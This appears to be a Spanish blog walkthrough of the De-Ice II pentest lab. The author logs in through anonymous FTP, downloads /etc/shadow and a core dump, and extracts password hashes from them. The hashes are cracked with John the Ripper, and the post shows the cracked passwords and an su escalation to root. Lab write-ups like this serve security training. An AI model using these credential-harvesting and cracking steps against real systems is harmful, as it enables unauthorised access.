Una vez hemos conseguido ingresar al sistema por medio del servidor FTP con acceso anónimo trataremos de elevar u obtener información sensible que nos permita cumplir con nuestro objetivo como PenTesters.

Ingresemos entonces al sistema, exploremos y recolectemos información.

root@bt:~/De-Ice_II# ftp 192.168.1.110
Connected to 192.168.1.110.
220 (vsFTPd 2.0.4)
Name (192.168.1.110:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

————

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    7 1000     513           160 Mar 15  2007 download
drwxrwxrwx    2 0        0              60 Feb 26  2007 incoming
226 Directory send OK.

———–

Exploremos lo que parece ser el directorio de descargas de copias de seguridad o migraciones descrito en el escenario del entorno.

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    6 1000     513           340 Mar 15  2007 etc
drwxr-xr-x    4 1000     513           100 Mar 15  2007 opt
drwxr-xr-x   10 1000     513           400 Mar 15  2007 root
drwxr-xr-x    5 1000     513           120 Mar 15  2007 usr
drwxr-xr-x    3 1000     513            80 Mar 15  2007 var
226 Directory send OK.

Acá debemos explorar en detalle el contenido de cada uno de estos directorios con la finalidad de encontrar información relevante que permita elevar privilegios en el sistema. Cada persona será libre de elegir el directorio por el cual comenzar, pero recomiendo hacerlo con los directorios que revelan más información del sistema. Para este caso el directorio /etc.

ftp> cd etc
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    4 1000     513           160 Mar 15  2007 X11
-rw-r–r–    1 1000     513        362436 Mar 03  2007 core
drwxr-xr-x    2 1000     513           100 Mar 15  2007 fonts
-rw-r–r–    1 1000     513           780 Apr 30  2005 hosts
-rw-r–r–    1 1000     513           718 Jul 03  2005 inputrc
-rw-r–r–    1 1000     513          1296 Jun 10  2006 issue
-rw-r–r–    1 1000     513           183 Jun 23  2005 lisarc
-rw-r–r–    1 1000     513            56 Oct 21  2004 localtime
lrwxrwxrwx    1 1000     513            23 Feb 18 06:16 localtime-copied-from -> /usr/share/zoneinfo/GMT
-rw-r–r–    1 1000     513         10289 Dec 31  2003 login.defs
-rw-r–r–    1 1000     513             1 Dec 31  2003 motd-slax
drwxr-xr-x    2 1000     513           100 Mar 15  2007 profile.d
drwxr-xr-x    2 1000     513           220 Mar 15  2007 rc.d
-rw-r–r–    1 1000     513           440 Jul 18  2006 shadow
226 Directory send OK.

Recomiendo además ir realizando la descarga de los archivos y directorios que consideremos de interés para el Test de Penetración. Para ello basta ejecutar la siguiente instrucción:

get name_file

En este caso quedaría así:

ftp> get shadow
local: shadow remote: shadow
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for shadow (440 bytes).
226 File send OK.
440 bytes received in 0.00 secs (1761.0 kB/s)

Una vez descargados y analizados los archivos procedemos a utilizar los resultados obtenidos en dicho análisis.

Entre los archivos descargados y analizados podemos encontrar varios de mucho interés que deben ser tenidos en cuenta.

Uno de ellos es el archivo shadow almacenado en el directorio /etc

root@bt:~/De-Ice_II# cat shadow
root:$1$3OF/pWTC$lvhdyl86pAEQcrvepWqpu.:12859:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::

Podríamos intentar un ataque de fuerza bruta para descifrar la contraseña de root, pero si observamos en detalle el mismo, podemos deducir que este no corresponde al sistema objetivo, pues no presenta los posibles usuarios administradores del sistema identificados en la primera fase del Test de Penetración.

Contact information for admins is as follows:
Sr. System Admin: Adam Adams – adamsa@herot.net
System Admin (Intern): Bob Banter – banterb@herot.net
System Admin: Chad Coffee – coffeec@herot.net

De otro lado fue decisivo encontrar un archivo conocido como CORE

root@bt:~/De-Ice_II# ls
core rc.FireWall  rc.S    rc.inet1  rc.slaxconfig  shadow
rc.6  rc.M         rc.gpm  rc.slax   root

Los archivos core son generados (volcados de memoria) a raiz de fallos o crash del sistema. Estos contienen información referente al estado de memoría y del sistema, además de contener información relacionada al aplicativo que generó dicho crash. (Más información>>)

Veamos los strings de dicho archivo:

… (Final del archivo core)

root:$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30:13574:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
aadams:$1$klZ09iws$fQDiqXfQXBErilgdRyogn.:13570:0:99999:7:::
bbanter:$1$1wY0b2Bt$Q6cLev2TG9eH9iIaTuFKy1:13571:0:99999:7:::
ccoffee:$1$6yf/SuEu$EZ1TWxFMHE0pDXCCMQu70/:13574:0:99999:7:::

Una vez identificados los usuarios válidos del sistema procedamos a descifrar sus contraseñas.

Hagamos uso de john the ripper

root@bt:~/Sec-Track/info/john-1.7.4.2/run# ./john
John the Ripper password cracker, version 1.7.4.2
Copyright (c) 1996-2010 by Solar Designer and others
Homepage: http://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]
–single                   “single crack” mode
–wordlist=FILE –stdin    wordlist mode, read words from FILE or stdin
–rules                    enable word mangling rules for wordlist mode
–incremental[=MODE]       “incremental” mode [using section MODE]
–external=MODE            external mode or word filter
–stdout[=LENGTH]          just output candidate passwords [cut at LENGTH]
–restore[=NAME]           restore an interrupted session [called NAME]
–session=NAME             give a new session the NAME
–status[=NAME]            print status of a session [called NAME]
–make-charset=FILE        make a charset, FILE will be overwritten
–show                     show cracked passwords
–test[=TIME]              run tests and benchmarks for TIME seconds each
–users=[-]LOGIN|UID[,..]  [do not] load this (these) user(s) only
–groups=[-]GID[,..]       load users [not] of this (these) group(s) only
–shells=[-]SHELL[,..]     load users with[out] this (these) shell(s) only
–salts=[-]COUNT           load salts with[out] at least COUNT passwords only
–format=NAME              force hash type NAME: DES/BSDI/MD5/BF/AFS/LM
–save-memory=LEVEL        enable memory saving, at LEVEL 1..3

Comenzaré utilizando el diccionario básico que incluye el mismo john the ripper, según los resultados obtenidos aumentaré la complejidad de los diccionarios.

Con diccionarios básicos no he tenido buenos resultados… Por ello utilicé un diccionario más complejo que me va arrojando los siguientes resultados:

C:\Users\4v4t4r\Downloads\john171w\john1701\run>john-386.exe users.txt –wordlist=dic.lst

Loaded 4 password hashes with 4 different salts (FreeBSD MD5 [32/32])
guesses: 0  time: 0:00:00:33 1%  c/s: 5559  trying: Jagdgesetze
guesses: 0  time: 0:00:00:54 1%  c/s: 5561  trying: Unberechenbarke
guesses: 0  time: 0:00:01:36 3%  c/s: 5508  trying: pingelige
guesses: 0  time: 0:00:02:38 5%  c/s: 5528  trying: de’mante`lerai
guesses: 0  time: 0:00:03:27 6%  c/s: 5534  trying: radioreportages
guesses: 0  time: 0:00:06:14 10%  c/s: 5528  trying: seccature
guesses: 0  time: 0:00:07:06 12%  c/s: 5527  trying: ik{iseni
guesses: 0  time: 0:00:13:50 25%  c/s: 5502  trying: cvakaly
guesses: 0  time: 0:00:14:21 26%  c/s: 5503  trying: nejnevycvicenej
guesses: 0  time: 0:00:19:14 33%  c/s: 5483  trying: myjv
guesses: 0  time: 0:00:21:18 36%  c/s: 5483  trying: villaje
Complexity       (root)
guesses: 1  time: 0:00:21:39 37%  c/s: 5483  trying: Beintema
guesses: 1  time: 0:00:24:09 42%  c/s: 5474  trying: walesa

Encontrado el password de root (Y) de todas maneras la dejo seguir, con el objetivo de descifrar los demás passwords.

Finalmente y luego de 40 minutos obtuvimos lo siguiente:

C:\Users\4v4t4r\Downloads\john171w\john1701\run>john-386.exe users.txt –wordlis
t=dic.lst
Loaded 4 password hashes with 4 different salts (FreeBSD MD5 [32/32])
guesses: 0  time: 0:00:00:33 1%  c/s: 5559  trying: Jagdgesetze
guesses: 0  time: 0:00:00:54 1%  c/s: 5561  trying: Unberechenbarke
guesses: 0  time: 0:00:01:36 3%  c/s: 5508  trying: pingelige
guesses: 0  time: 0:00:02:38 5%  c/s: 5528  trying: de’mante`lerai
guesses: 0  time: 0:00:03:27 6%  c/s: 5534  trying: radioreportages
guesses: 0  time: 0:00:06:14 10%  c/s: 5528  trying: seccature
guesses: 0  time: 0:00:07:06 12%  c/s: 5527  trying: ik{iseni
guesses: 0  time: 0:00:13:50 25%  c/s: 5502  trying: cvakaly
guesses: 0  time: 0:00:14:21 26%  c/s: 5503  trying: nejnevycvicenej
guesses: 0  time: 0:00:19:14 33%  c/s: 5483  trying: myjv
guesses: 0  time: 0:00:21:18 36%  c/s: 5483  trying: villaje
Complexity       (root)
guesses: 1  time: 0:00:21:39 37%  c/s: 5483  trying: Beintema
guesses: 1  time: 0:00:24:09 42%  c/s: 5474  trying: walesa
Zymurgy          (bbanter)
guesses: 2  time: 0:00:35:35 76%  c/s: 5446  trying: Nachkriegspolit
guesses: 2  time: 0:00:38:15 85%  c/s: 5444  trying: ritornato
guesses: 2  time: 0:00:39:13 88%  c/s: 5442  trying: skrigen
guesses: 2  time: 0:00:41:43 97%  c/s: 5448  trying: vozidlech
guesses: 2  time: 0:00:42:30 100%  c/s: 5449  trying: ovrigt

Confirmemos entonces el acceso al sistema con los usuarios encontrados:

login as: root
root@192.168.1.110′s password:
Access denied
root@192.168.1.110′s password:

Acceso denegado para login remoto como root en el sistema… Probemos entonces a iniciar con bbanter y elevar privilegios como root (su):

login as: bbanter
bbanter@192.168.1.110′s password:
Linux 2.6.16.
bbanter@slax:~$ su
Password: **********
root@slax:/home/bbanter#

Hemos conseguido ingresar al sistema con todos los privilegios… En el próximo post exploraremos el sistema en busca de información confidencial que comprometa la seguridad de la empresa objetivo…

Comments are closed.